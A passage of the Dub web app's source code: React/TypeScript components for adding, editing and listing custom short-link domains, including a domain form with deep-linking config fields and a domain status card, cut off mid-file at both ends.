true\n    if (props?.deepviewData) {\n      setShowOptionStates((prev) => ({\n        ...prev,\n        deepviewData: !!props?.deepviewData?.trim(),\n      }));\n    }\n  }, [props]);\n\n  useEffect(() => {\n    setShowOptionStates((prev) => ({\n      ...prev,\n      appleAppSiteAssociation: false,\n      assetLinks: false,\n      logo: false,\n      expiredUrl: false,\n      notFoundUrl: false,\n      placeholder: false,\n      deepviewData: false,\n      ...prev,\n    }));\n  }, []);\n\n  const domain = watch(\"slug\");\n\n  const debouncedValidateDomain = useDebouncedCallback(\n    async (value: string) => {\n      if (!isValidDomain(value)) return;\n      setDomainStatus(\"checking\");\n      fetch(`/api/domains/${value}/validate`).then(async (res) => {\n        const data = await res.json();\n        setDomainStatus(data.status);\n      });\n    },\n    500,\n  );\n\n  const saveDisabled = useMemo(() => {\n    return (\n      ![\"available\", \"has site\"].includes(domainStatus) || (props && !isDirty)\n    );\n  }, [isSubmitting, domainStatus, props, isDirty]);\n\n  const endpoint = useMemo(() => {\n    if (props) {\n      return {\n        method: \"PATCH\",\n        url: `/api/domains/${domain}?workspaceId=${workspaceId}`,\n        successMessage: \"Successfully updated domain!\",\n      };\n    } else {\n      return {\n        method: \"POST\",\n        url: `/api/domains?workspaceId=${workspaceId}`,\n        successMessage: \"Successfully added domain!\",\n      };\n    }\n  }, [props, workspaceId]);\n\n  const { isMobile } = useMediaQuery();\n\n  const isDubProvisioned = !!props?.registeredDomain;\n\n  const formRef = useRef<HTMLFormElement>(null);\n  const { handleKeyDown } = useEnterSubmit(formRef);\n\n  const onSubmit = async (formData: FormData) => {\n    try {\n      const res = await fetch(endpoint.url, {\n        method: endpoint.method,\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({\n          ...formData,\n          ...(formData.logo === props?.logo && { logo: undefined }),\n          ...(formData.assetLinks !== undefined && {\n            assetLinks: sanitizeJson(formData.assetLinks),\n          }),\n          ...(formData.appleAppSiteAssociation !== undefined && {\n            appleAppSiteAssociation: sanitizeJson(\n              formData.appleAppSiteAssociation,\n            ),\n          }),\n          ...(formData.deepviewData !== undefined && {\n            deepviewData: sanitizeJson(formData.deepviewData),\n          }),\n        }),\n      });\n\n      if (res.ok) {\n        await Promise.all([\n          mutatePrefix(\"/api/domains\"),\n          mutatePrefix(\"/api/links\"),\n        ]);\n        const data = await res.json();\n        toast.success(endpoint.successMessage);\n        onSuccess?.(data);\n      } else {\n        const { error } = await res.json();\n        if (res.status === 422) {\n          setDomainStatus(\"conflict\");\n        }\n        if (error.message.includes(\"Upgrade to Pro\")) {\n          toast.custom(() => (\n            <UpgradeRequiredToast\n              planToUpgradeTo=\"Pro\"\n              message={error.message}\n            />\n          ));\n        } else {\n          toast.error(error.message);\n        }\n      }\n    } catch (error) {\n      toast.error(`Failed to ${props ? \"update\" : \"add\"} domain`);\n    }\n  };\n\n  const currentStatusProps = STATUS_CONFIG[domainStatus];\n\n  return (\n    <form\n      ref={formRef}\n      onSubmit={async (e: FormEvent<HTMLFormElement>) => {\n        // prevent the submission event from propagating to the parent form (in the link builder)\n        e.preventDefault();\n        e.stopPropagation();\n        handleSubmit(onSubmit)(e);\n      }}\n    >\n      <div\n        className={cn(\n          \"flex flex-col gap-y-6 text-left\",\n          enableDomainConfig && \"p-8\",\n        )}\n      >\n        <div>\n          <div className=\"flex items-center justify-between\">\n            <label htmlFor=\"domain\" className=\"flex items-center gap-x-2\">\n              <h2 className=\"text-sm font-medium text-neutral-700\">\n                Your domain\n              </h2>\n              <InfoTooltip\n                content={\n                  \"Not sure which domain to use? [Check out our guide](https://dub.co/help/article/choosing-a-custom-domain)\"\n                }\n              />\n            </label>\n            {props && lockDomain && !isDubProvisioned && (\n              <button\n                className=\"flex items-center gap-x-2 text-sm text-neutral-500 transition-all duration-75 hover:text-black active:scale-95\"\n                type=\"button\"\n                onClick={() => {\n                  window.confirm(\n                    \"Warning: Changing your workspace's domain will break all existing short links. Are you sure you want to continue?\",\n                  ) && setLockDomain(false);\n                }}\n              >\n                <Lock className=\"h-3 w-3\" />\n                <p>Unlock</p>\n              </button>\n            )}\n          </div>\n          {props && lockDomain ? (\n            <div className=\"mt-2 cursor-not-allowed rounded-md border border-neutral-300 bg-neutral-100 px-3 py-2 text-sm text-neutral-500 shadow-sm\">\n              {domain}\n            </div>\n          ) : (\n            <div className=\"mt-2\">\n              <div\n                className={cn(\n                  \"-m-1 rounded-[0.625rem] p-1\",\n                  currentStatusProps.className ||\n                    \"bg-neutral-200 text-neutral-500\",\n                )}\n              >\n                <div className=\"flex rounded-md border border-neutral-300 bg-white\">\n                  <input\n                    {...register(\"slug\", {\n                      onChange: (e) => {\n                        setDomainStatus(\"idle\");\n                        debouncedValidateDomain(e.target.value);\n                      },\n                    })}\n                    className=\"block w-full rounded-md border-0 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n                    placeholder=\"go.acme.com\"\n                    autoFocus={!isMobile}\n                  />\n                </div>\n\n                <AnimatedSizeContainer\n                  height\n                  transition={{ ease: \"easeInOut\", duration: 0.1 }}\n                >\n                  <div className=\"flex items-center justify-between gap-4 p-2 text-sm\">\n                    <p>\n                      {domainStatus !== \"idle\" ? (\n                        <>\n                          {currentStatusProps.prefix || \"The domain\"}{\" \"}\n                          {currentStatusProps.useStrong ? (\n                            <strong className=\"font-semibold underline underline-offset-2\">\n                              {domain}\n                            </strong>\n                          ) : (\n                            <span className=\"font-semibold underline underline-offset-2\">\n                              {domain}\n                            </span>\n                          )}{\" \"}\n                          {currentStatusProps.suffix}\n                        </>\n                      ) : (\n                        currentStatusProps.message\n                      )}\n                    </p>\n                    {currentStatusProps.icon && (\n                      <currentStatusProps.icon className=\"size-5 shrink-0\" />\n                    )}\n                  </div>\n                </AnimatedSizeContainer>\n              </div>\n            </div>\n          )}\n        </div>\n\n        {enableDomainConfig && (\n          <>\n            <div className=\"h-0.5 w-full bg-neutral-200\" />\n            <div className=\"flex flex-col gap-y-6\">\n              {DOMAIN_OPTIONS.map(\n                ({ id, title, description, icon: Icon, proFeature }) => {\n                  const showOption = showOptionStates[id] || !!watch(id);\n\n                  return (\n                    <div key={id}>\n                      <label className=\"flex items-center justify-between gap-4\">\n                        <div className=\"flex items-center gap-3\">\n                          <div className=\"hidden rounded-lg border border-neutral-200 bg-white p-2 sm:block\">\n                            <Icon className=\"size-5 text-neutral-500\" />\n                          </div>\n                          <div>\n                            <div className=\"flex items-center gap-2\">\n                              <h2 className=\"text-sm font-medium text-neutral-900\">\n                                {title}\n                              </h2>\n                              {proFeature && plan === \"free\" && (\n                                <Badge className=\"flex items-center space-x-1 bg-white\">\n                                  <Crown size={12} />\n                                  <p className=\"uppercase\">Pro</p>\n                                </Badge>\n                              )}\n                            </div>\n                            <p className=\"text-sm text-neutral-500\">\n                              {description}\n                            </p>\n                          </div>\n                        </div>\n                        <Switch\n                          checked={showOption}\n                          fn={(checked) => {\n                            setShowOptionStates((prev) => ({\n                              ...prev,\n                              [id]: checked,\n                            }));\n                            if (!checked) {\n                              setValue(id, null, {\n                                shouldDirty: true,\n                              });\n                            }\n                          }}\n                          disabled={isSubmitting}\n                        />\n                      </label>\n                      <motion.div\n                        animate={{ height: showOption ? \"auto\" : 0 }}\n                        transition={{ duration: 0.1 }}\n                        initial={false}\n                        className=\"-m-1 overflow-hidden p-1\"\n                        inert={!showOption}\n                      >\n                        <div className=\"relative mt-2 rounded-md shadow-sm\">\n                          {id === \"logo\" ? (\n                            <div className=\"flex h-24 items-center justify-center overflow-hidden rounded-md border border-neutral-300\">\n                              {!isMobile && (\n                                <ShimmerDots className=\"pointer-events-none z-10 opacity-30 [mask-image:radial-gradient(40%_80%,transparent_50%,black)]\" />\n                              )}\n                              <Controller\n                                control={control}\n                                name=\"logo\"\n                                render={({ field }) => (\n                                  <FileUpload\n                                    accept=\"images\"\n                                    className=\"h-24 rounded-md\"\n                                    iconClassName=\"size-5 text-neutral-700\"\n                                    variant=\"plain\"\n                                    imageSrc={field.value}\n                                    readFile\n                                    onChange={({ src }) => field.onChange(src)}\n                                    maxFileSizeMB={2}\n                                    targetResolution={{\n                                      width: 160,\n                                      height: 160,\n                                    }}\n                                    customPreview={\n                                      <QRCode\n                                        url=\"https://dub.co\"\n                                        fgColor=\"#000\"\n                                        logo={field.value || \"\"}\n                                        scale={0.6}\n                                      />\n                                    }\n                                  />\n                                )}\n                              />\n                            </div>\n                          ) : (\n                            <input\n                              {...register(id)}\n                              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                              placeholder=\"https://yourwebsite.com\"\n                            />\n                          )}\n                        </div>\n                      </motion.div>\n                    </div>\n                  );\n                },\n              )}\n            </div>\n\n            <div className=\"flex flex-col\">\n              <button\n                type=\"button\"\n                className=\"flex w-full items-center gap-2\"\n                onClick={() => setShowAdvancedOptions(!showAdvancedOptions)}\n              >\n                <p className=\"text-sm text-neutral-600\">\n                  {showAdvancedOptions ? \"Hide\" : \"Show\"} advanced settings\n                </p>\n                <motion.div\n                  animate={{ rotate: showAdvancedOptions ? 180 : 0 }}\n                  className=\"text-neutral-600\"\n                >\n                  <ChevronDown className=\"size-4\" />\n                </motion.div>\n              </button>\n\n              <AnimatedSizeContainer height className=\"flex flex-col\">\n                {showAdvancedOptions &&\n                  ADVANCED_OPTIONS.map(\n                    ({ id, title, description, icon: Icon, proFeature }) => {\n                      return (\n                        <div key={id} className=\"mt-4 flex flex-col space-y-3\">\n                          <div className=\"flex items-center justify-between\">\n                            <div className=\"flex items-center gap-3\">\n                              <div className=\"hidden rounded-lg border border-neutral-200 bg-white p-2 sm:block\">\n                                <Icon className=\"size-5 text-neutral-500\" />\n                              </div>\n                              <div>\n                                <div className=\"flex items-center gap-2\">\n                                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                                    {title}\n                                  </h2>\n                                  {proFeature && plan === \"free\" && (\n                                    <Badge className=\"flex items-center space-x-1 bg-white\">\n                                      <Crown size={12} />\n                                      <p className=\"uppercase\">Pro</p>\n                                    </Badge>\n                                  )}\n                                </div>\n                                <p className=\"text-sm text-neutral-500\">\n                                  {description}\n                                </p>\n                              </div>\n                            </div>\n\n                            <Switch\n                              checked={showOptionStates[id]}\n                              fn={(checked: boolean) => {\n                                setShowOptionStates((prev) => ({\n                                  ...prev,\n                                  [id]: checked,\n                                }));\n                                if (checked) {\n                                  // hacky frontend workaround since we don't have a way\n                                  // to customize the actual appearance of the deepview page yet\n                                  if (id === \"deepviewData\") {\n                                    setValue(\"deepviewData\", \"{}\", {\n                                      shouldDirty: true,\n                                    });\n                                  }\n                                } else {\n                                  setValue(id, null, {\n                                    shouldDirty: true,\n                                  });\n                                }\n                              }}\n                              disabled={isSubmitting}\n                            />\n                          </div>\n\n                          {showOptionStates[id] && id !== \"deepviewData\" && (\n                            <div className=\"rounded-md border border-neutral-200 bg-white\">\n                              <textarea\n                                {...register(id)}\n                                className=\"w-full resize-none rounded-md border-0 bg-transparent px-3 py-2 font-mono text-xs text-neutral-700 focus:outline-none focus:ring-0\"\n                                rows={4}\n                                spellCheck={false}\n                                onKeyDown={handleKeyDown}\n                                onPaste={(e) => {\n                                  if (\n                                    [\n                                      \"appleAppSiteAssociation\",\n                                      \"assetLinks\",\n                                    ].includes(id)\n                                  ) {\n                                    e.preventDefault();\n                                    const pastedText =\n                                      e.clipboardData.getData(\"text\");\n\n                                    try {\n                                      const formattedJson = JSON.stringify(\n                                        JSON.parse(pastedText),\n                                        null,\n                                        2,\n                                      );\n                                      setValue(id, formattedJson, {\n                                        shouldDirty: true,\n                                      });\n                                    } catch (err) {\n                                      setValue(id, pastedText, {\n                                        shouldDirty: true,\n                                      });\n                                    }\n                                  }\n                                }}\n                              />\n                            </div>\n                          )}\n                        </div>\n                      );\n                    },\n                  )}\n              </AnimatedSizeContainer>\n            </div>\n          </>\n        )}\n      </div>\n\n      <div\n        className={cn(\n          \"pt-6\",\n          enableDomainConfig &&\n            \"sticky bottom-0 isolate z-10 border-t border-neutral-200 bg-white px-8 py-4\",\n        )}\n      >\n        <Button\n          text={props ? \"Save changes\" : \"Add domain\"}\n          disabled={saveDisabled}\n          loading={isSubmitting}\n        />\n      </div>\n    </form>\n  );\n}\n\nconst DOMAIN_OPTIONS: {\n  id: keyof FormData;\n  title: string;\n  description: string;\n  icon: any;\n  proFeature?: boolean;\n}[] = [\n  {\n    id: \"logo\",\n    title: \"Custom QR code logo\",\n    description: \"Which logo to use for shortlink QR codes\",\n    icon: QrCode,\n    proFeature: true,\n  },\n  {\n    id: \"expiredUrl\",\n    title: \"Default expiration URL\",\n    description: \"Where to redirect when shortlinks expire\",\n    icon: Milestone,\n    proFeature: true,\n  },\n  {\n    id: \"notFoundUrl\",\n    title: \"Not found URL\",\n    description: \"Where to redirect when shortlinks don't exist\",\n    icon: Binoculars,\n    proFeature: true,\n  },\n  {\n    id: \"placeholder\",\n    title: \"Input placeholder URL\",\n    description: \"Which placeholder URL to show in the link builder\",\n    icon: TextCursorInput,\n  },\n];\n\nconst ADVANCED_OPTIONS = [\n  {\n    id: \"appleAppSiteAssociation\",\n    title: \"Apple App Site Association\",\n    description: \"Provide a config file for iOS deep linking\",\n    icon: AppleLogo,\n    proFeature: true,\n  },\n  {\n    id: \"assetLinks\",\n    title: \"Asset Link\",\n    description: \"Provide a config file for Android deep linking\",\n    icon: AndroidLogo,\n    proFeature: true,\n  },\n  {\n    id: \"deepviewData\",\n    title: \"Deep View\",\n    description: \"Show an interstitial page for deferred deep linking\",\n    icon: MobilePhone,\n    proFeature: true,\n  },\n] as const;\n"
  },
  {
    "path": "apps/web/ui/domains/domain-card-placeholder.tsx",
    "content": "export default function DomainCardPlaceholder() {\n  return (\n    <div className=\"grid grid-cols-[1.5fr_1fr] items-center gap-4 rounded-xl border border-neutral-200 bg-white p-5 sm:grid-cols-[3fr_1fr_1.5fr] md:grid-cols-[2fr_1fr_0.5fr_1.5fr]\">\n      <div className=\"flex items-center gap-2\">\n        <div className=\"hidden h-12 w-12 animate-pulse rounded-full bg-neutral-200 sm:block\" />\n        <div>\n          <div className=\"h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"mt-2 h-4 w-48 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      </div>\n      <div className=\"hidden h-6 w-24 animate-pulse rounded-md bg-neutral-200 sm:block\" />\n      <div className=\"hidden h-6 w-24 animate-pulse rounded-md bg-neutral-200 md:block\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/domains/domain-card-title-column.tsx",
    "content": "import { ArrowTurnRight2, Flag2, Globe } from \"@dub/ui/icons\";\nimport { cn, getPrettyUrl, punycode } from \"@dub/utils\";\nimport { Star } from \"lucide-react\";\n\nexport function DomainCardTitleColumn({\n  domain,\n  icon: Icon = Globe,\n  url,\n  description,\n  primary = false,\n  defaultDomain = false,\n}: {\n  domain: string;\n  icon?: React.ElementType;\n  url?: string | null;\n  description?: string;\n  primary?: boolean;\n  defaultDomain?: boolean;\n}) {\n  return (\n    <div className=\"flex min-w-0 items-center gap-4\">\n      <div className=\"hidden rounded-full border border-neutral-200 sm:block\">\n        <div\n          className={cn(\n            \"rounded-full\",\n            (!defaultDomain || domain === \"cal.link\") &&\n              \"border border-white bg-gradient-to-t from-neutral-100 p-1 md:p-2\",\n          )}\n        >\n          <Icon\n            className={cn(\n              \"size-5\",\n              defaultDomain && domain !== \"cal.link\" && \"size-8\",\n            )}\n          />\n        </div>\n      </div>\n      <div className=\"overflow-hidden\">\n        <div className=\"flex items-center gap-1.5 sm:gap-2.5\">\n          <a\n            href={`http://${domain}`}\n            target=\"_blank\"\n            rel=\"noreferrer\"\n            className=\"truncate text-sm font-medium\"\n            title={punycode(domain)}\n          >\n            {punycode(domain)}\n          </a>\n          {primary ? (\n            <span className=\"xs:px-3 xs:py-1 flex items-center gap-1 rounded-full bg-sky-400/[.15] px-1.5 py-0.5 text-xs font-medium text-sky-600\">\n              <Flag2 className=\"hidden h-3 w-3 sm:block\" />\n              Primary\n            </span>\n          ) : defaultDomain && domain === \"dub.link\" ? (\n            <span className=\"xs:px-3 xs:py-1 flex items-center gap-1 rounded-full bg-yellow-400/[.25] px-1.5 py-0.5 text-xs font-medium text-yellow-600\">\n              <Star className=\"h-3 w-3\" fill=\"currentColor\" />\n              Premium\n            </span>\n          ) : null}\n        </div>\n        {(!defaultDomain || description) && (\n          <div className=\"mt-1 flex items-center gap-1 text-xs\">\n            {description ? (\n              <span\n                className=\"whitespace-pre-wrap text-neutral-500\"\n                title={description}\n              >\n                {description}\n              </span>\n            ) : (\n              <>\n                <ArrowTurnRight2 className=\"h-3 w-3 text-neutral-400\" />\n                {url !== undefined ? (\n                  url ? (\n                    <a\n                      href={url}\n                      target=\"_blank\"\n                      rel=\"noreferrer\"\n                      className=\"truncate text-neutral-500 transition-all hover:text-neutral-700 hover:underline hover:underline-offset-2\"\n                    >\n                      {getPrettyUrl(url)}\n                    </a>\n                  ) : (\n                    <span className=\"truncate text-neutral-400\">\n                      No redirect configured\n                    </span>\n                  )\n                ) : (\n                  <div className=\"h-4 w-16 animate-pulse rounded-md bg-neutral-200\" />\n                )}\n              </>\n            )}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/domains/domain-card.tsx",
    "content": "import { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useDomains from \"@/lib/swr/use-domains\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  DomainProps,\n  DomainVerificationStatusProps,\n  LinkProps,\n} from \"@/lib/types\";\nimport { CheckCircleFill, Delete, Repeat, ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  CircleCheck,\n  Copy,\n  Popover,\n  Refresh2,\n  StatusBadge,\n  Tooltip,\n  useCopyToClipboard,\n  useInViewport,\n  useMediaQuery,\n  Wordmark,\n} from \"@dub/ui\";\nimport {\n  CircleHalfDottedClock,\n  CursorRays,\n  Flag2,\n  Gear,\n  Globe,\n  Hyperlink,\n  PenWriting,\n} from \"@dub/ui/icons\";\nimport {\n  cn,\n  DEFAULT_LINK_PROPS,\n  fetcher,\n  formatDate,\n  nFormatter,\n  timeAgo,\n} from \"@dub/utils\";\nimport { isPast } from \"date-fns\";\nimport { Archive, ChevronDown, FolderInput, QrCode } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useMemo, useRef, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { useAddEditDomainModal } from \"../modals/add-edit-domain-modal\";\nimport { useArchiveDomainModal } from \"../modals/archive-domain-modal\";\nimport { useDeleteDomainModal } from \"../modals/delete-domain-modal\";\nimport { useDomainAutoRenewalModal } from \"../modals/domain-auto-renewal-modal\";\nimport { useLinkBuilder } from \"../modals/link-builder\";\nimport { useLinkQRModal } from \"../modals/link-qr-modal\";\nimport { usePrimaryDomainModal } from \"../modals/primary-domain-modal\";\nimport { useTransferDomainModal } from \"../modals/transfer-domain-modal\";\nimport { DomainCardTitleColumn } from \"./domain-card-title-column\";\nimport DomainConfiguration from \"./domain-configuration\";\n\nexport default function DomainCard({ props }: { props: DomainProps }) {\n  const { slug: domain, primary, registeredDomain } = props || {};\n\n  const isDubProvisioned = !!registeredDomain;\n\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const domainRef = useRef<HTMLDivElement>(null);\n  const isVisible = useInViewport(domainRef, { defaultValue: true });\n\n  const { data, isValidating, mutate } = useSWRImmutable<{\n    status: DomainVerificationStatusProps;\n    response: any;\n  }>(\n    workspaceId &&\n      isVisible &&\n      `/api/domains/${domain}/verify?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  const verificationData = useMemo(() => {\n    if (props.verified) {\n      return {\n        status: \"Valid Configuration\",\n        response: null,\n      } as {\n        status: DomainVerificationStatusProps;\n        response: any;\n      };\n    }\n    return data;\n  }, [props.verified, data]);\n\n  const [showDetails, setShowDetails] = useState(false);\n  const [groupHover, setGroupHover] = useState(false);\n\n  const isInvalid =\n    verificationData &&\n    ![\"Valid Configuration\", \"Pending Verification\"].includes(\n      verificationData.status,\n    );\n\n  const searchParams = useSearchParams();\n  const tab = searchParams.get(\"tab\") || \"active\";\n\n  const expiresAt = props.registeredDomain?.expiresAt;\n  const isExpired = expiresAt && isPast(new Date(expiresAt));\n\n  const autoRenew = useMemo(() => {\n    if (!registeredDomain) {\n      return false;\n    }\n\n    return registeredDomain.autoRenewalDisabledAt === null;\n  }, [registeredDomain]);\n\n  const { openDomainRenewalModal, DomainAutoRenewalModal } =\n    useDomainAutoRenewalModal({\n      domain: props,\n    });\n\n  return (\n    <>\n      {isDubProvisioned && <DomainAutoRenewalModal />}\n      <div\n        ref={domainRef}\n        className=\"hover:drop-shadow-card-hover group rounded-xl border border-neutral-200 bg-white transition-[filter]\"\n        onPointerEnter={() => setGroupHover(true)}\n        onPointerLeave={() => setGroupHover(false)}\n      >\n        {isDubProvisioned && (\n          <div className=\"flex items-center justify-between gap-2 rounded-t-xl border-b border-neutral-100 bg-neutral-50 px-5 py-2 text-xs\">\n            <div className=\"flex items-center gap-2\">\n              <div className=\"flex items-center gap-1.5\">\n                <Wordmark className=\"h-4\" />\n                <span className=\"font-medium text-neutral-900\">\n                  Provisioned by Dub\n                </span>\n              </div>\n\n              {expiresAt && (\n                <button\n                  className={cn(\n                    \"flex items-center gap-1 decoration-dotted underline-offset-2 hover:underline\",\n                    isExpired\n                      ? \"text-red-600\"\n                      : autoRenew\n                        ? \"text-neutral-700\"\n                        : \"text-neutral-400 hover:text-neutral-700\",\n                  )}\n                  onClick={() => {\n                    openDomainRenewalModal(!autoRenew);\n                  }}\n                >\n                  {autoRenew ? (\n                    <Repeat className=\"size-3.5\" />\n                  ) : (\n                    <CircleHalfDottedClock className=\"size-3.5\" />\n                  )}\n                  <span className=\"text-xs font-medium\">\n                    {autoRenew\n                      ? `Renews on ${formatDate(expiresAt)}`\n                      : `Expire${isExpired ? \"d\" : \"s\"} on ${formatDate(expiresAt)}`}\n                  </span>\n                </button>\n              )}\n            </div>\n\n            <a\n              href=\"https://dub.co/help/article/free-dot-link-domain\"\n              target=\"_blank\"\n              className=\"text-neutral-500 underline transition-colors hover:text-neutral-800\"\n            >\n              Learn more\n            </a>\n          </div>\n        )}\n        <div className=\"p-4 sm:p-5\">\n          <div className=\"grid grid-cols-[1.5fr_1fr] items-center gap-3 sm:grid-cols-[3fr_1fr_1.5fr] sm:gap-4 md:grid-cols-[2fr_1fr_0.5fr_1.5fr]\">\n            <DomainCardTitleColumn\n              domain={domain}\n              icon={tab === \"active\" ? Globe : Archive}\n              url={props.link?.url}\n              primary={primary}\n            />\n\n            {/* Clicks */}\n            <div className=\"hidden md:flex\">\n              <Tooltip\n                content={\n                  <div className=\"block max-w-xs px-4 py-2 text-center text-sm text-neutral-700\">\n                    <p className=\"text-sm font-semibold text-neutral-700\">\n                      {nFormatter(props.link?.clicks || 0, { full: true })}{\" \"}\n                      clicks\n                    </p>\n                    {props.link?.lastClicked && (\n                      <p className=\"mt-1 text-xs text-neutral-500\">\n                        Last clicked{\" \"}\n                        {timeAgo(props.link?.lastClicked, { withAgo: true })}\n                      </p>\n                    )}\n                  </div>\n                }\n              >\n                <Link\n                  href={`/${slug}/analytics?linkId=${props.link?.id}`}\n                  className=\"flex items-center space-x-1 whitespace-nowrap rounded-md border border-neutral-200 bg-neutral-50 px-3 py-1 transition-colors hover:bg-neutral-100\"\n                >\n                  <CursorRays className=\"h-4 w-4 text-neutral-700\" />\n                  <p className=\"text-xs font-medium text-neutral-900\">\n                    {nFormatter(props.link?.clicks || 0)}\n                    <span className=\"ml-1 hidden sm:inline-block\">clicks</span>\n                  </p>\n                </Link>\n              </Tooltip>\n            </div>\n\n            {/* Status */}\n            <div className=\"hidden sm:block\">\n              {verificationData ? (\n                <StatusBadge\n                  variant={\n                    verificationData.status === \"Valid Configuration\"\n                      ? \"success\"\n                      : verificationData.status === \"Pending Verification\" ||\n                          isDubProvisioned\n                        ? \"pending\"\n                        : \"error\"\n                  }\n                  onClick={\n                    isDubProvisioned\n                      ? undefined\n                      : () => setShowDetails((s) => !s)\n                  }\n                >\n                  {verificationData.status === \"Valid Configuration\"\n                    ? \"Active\"\n                    : verificationData.status === \"Pending Verification\"\n                      ? \"Pending\"\n                      : isDubProvisioned\n                        ? \"Provisioning\"\n                        : \"Invalid\"}\n                </StatusBadge>\n              ) : (\n                <div className=\"h-6 w-16 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n\n            <div className=\"flex justify-end gap-2 sm:gap-3\">\n              {!isDubProvisioned && (\n                <Button\n                  icon={\n                    <div className=\"flex items-center gap-1\">\n                      <div className=\"relative\">\n                        <Gear\n                          className={cn(\n                            \"h-4 w-4\",\n                            showDetails\n                              ? \"text-neutral-800\"\n                              : \"text-neutral-600\",\n                          )}\n                        />\n                        {/* Error indicator */}\n                        {verificationData && isInvalid && (\n                          <div className=\"absolute -right-px -top-px h-[5px] w-[5px] rounded-full bg-red-500\">\n                            <div className=\"h-full w-full animate-pulse rounded-full ring-2 ring-red-500/30\" />\n                          </div>\n                        )}\n                      </div>\n                      <ChevronDown\n                        className={cn(\n                          \"hidden h-4 w-4 text-neutral-400 transition-transform sm:block\",\n                          showDetails && \"rotate-180\",\n                        )}\n                      />\n                    </div>\n                  }\n                  variant=\"secondary\"\n                  className={cn(\n                    \"h-8 w-auto px-2.5 opacity-100 transition-opacity\",\n                    !showDetails &&\n                      !isInvalid &&\n                      \"sm:opacity-0 sm:group-hover:opacity-100\",\n                  )}\n                  onClick={() => setShowDetails((s) => !s)}\n                  data-state={showDetails ? \"open\" : \"closed\"}\n                />\n              )}\n              <DomainCardMenu\n                props={props}\n                linkProps={props.link}\n                refreshProps={{ isValidating, mutate }}\n                groupHover={groupHover}\n                autoRenew={autoRenew}\n                openDomainRenewalModal={openDomainRenewalModal}\n              />\n            </div>\n          </div>\n          <motion.div\n            initial={false}\n            animate={{ height: showDetails ? \"auto\" : 0 }}\n            className=\"overflow-hidden\"\n          >\n            {verificationData ? (\n              verificationData.status === \"Valid Configuration\" ? (\n                <div className=\"mt-6 flex items-center gap-2 text-pretty rounded-lg bg-green-100/80 p-3 text-sm text-green-600\">\n                  <CircleCheck className=\"h-5 w-5 shrink-0\" />\n                  <div>\n                    Good news! Your DNS records are set up correctly, but it can\n                    take some time for them to propagate globally.{\" \"}\n                    <Link\n                      href=\"https://dub.co/help/article/how-to-add-custom-domain#how-long-do-i-have-to-wait-for-my-domain-to-work\"\n                      target=\"_blank\"\n                      className=\"underline transition-colors hover:text-green-800\"\n                    >\n                      Learn more.\n                    </Link>\n                  </div>\n                </div>\n              ) : (\n                <DomainConfiguration data={verificationData} />\n              )\n            ) : (\n              <div className=\"mt-6 h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n            )}\n          </motion.div>\n        </div>\n      </div>\n    </>\n  );\n}\n\nfunction DomainCardMenu({\n  props,\n  linkProps,\n  refreshProps,\n  groupHover,\n  autoRenew,\n  openDomainRenewalModal,\n}: {\n  props: DomainProps;\n  linkProps?: LinkProps;\n  refreshProps: {\n    isValidating: boolean;\n    mutate: () => void;\n  };\n  groupHover: boolean;\n  autoRenew: boolean;\n  openDomainRenewalModal: (enable: boolean) => void;\n}) {\n  const { role } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const { activeWorkspaceDomains } = useDomains();\n  const [openPopover, setOpenPopover] = useState(false);\n  const [copiedLinkId, copyToClipboard] = useCopyToClipboard();\n\n  const { primary, archived, slug: domain, registeredDomain } = props;\n  const isDubProvisioned = !!registeredDomain;\n\n  const permissionsError = clientAccessCheck({\n    action: \"domains.write\",\n    role,\n  }).error;\n\n  const { setShowAddEditDomainModal, AddEditDomainModal } =\n    useAddEditDomainModal({\n      props,\n    });\n\n  const { setShowTransferDomainModal, TransferDomainModal } =\n    useTransferDomainModal({\n      props,\n    });\n\n  const { setShowPrimaryDomainModal, PrimaryDomainModal } =\n    usePrimaryDomainModal({\n      props,\n    });\n\n  const { setShowArchiveDomainModal, ArchiveDomainModal } =\n    useArchiveDomainModal({\n      props,\n    });\n\n  const { setShowDeleteDomainModal, DeleteDomainModal } = useDeleteDomainModal({\n    props,\n  });\n\n  const { setShowLinkBuilder, LinkBuilder } = useLinkBuilder({\n    props: linkProps || { ...DEFAULT_LINK_PROPS, key: \"_root\", domain },\n  });\n\n  const { setShowLinkQRModal, LinkQRModal } = useLinkQRModal({\n    props: linkProps || DEFAULT_LINK_PROPS,\n  });\n\n  const copyLinkId = () => {\n    if (!linkProps) {\n      toast.error(\"Link ID not found\");\n      return;\n    }\n    toast.promise(copyToClipboard(linkProps.id), {\n      success: \"Link ID copied!\",\n    });\n  };\n\n  const activeDomainsCount = activeWorkspaceDomains?.length || 0;\n\n  return (\n    <>\n      <LinkBuilder />\n      <LinkQRModal />\n      <AddEditDomainModal />\n      <PrimaryDomainModal />\n      <ArchiveDomainModal />\n      <DeleteDomainModal />\n      <TransferDomainModal />\n      <motion.div\n        animate={{\n          width: groupHover && !isMobile ? \"auto\" : isMobile ? 79 : 39,\n        }}\n        initial={false}\n        className=\"flex items-center justify-end divide-x divide-neutral-200 overflow-hidden rounded-md border border-neutral-200 sm:divide-transparent sm:group-hover:divide-neutral-200\"\n      >\n        <Button\n          icon={<PenWriting className={cn(\"h-4 w-4 shrink-0\")} />}\n          variant=\"outline\"\n          className=\"h-8 rounded-none border-0 px-3\"\n          onClick={() => 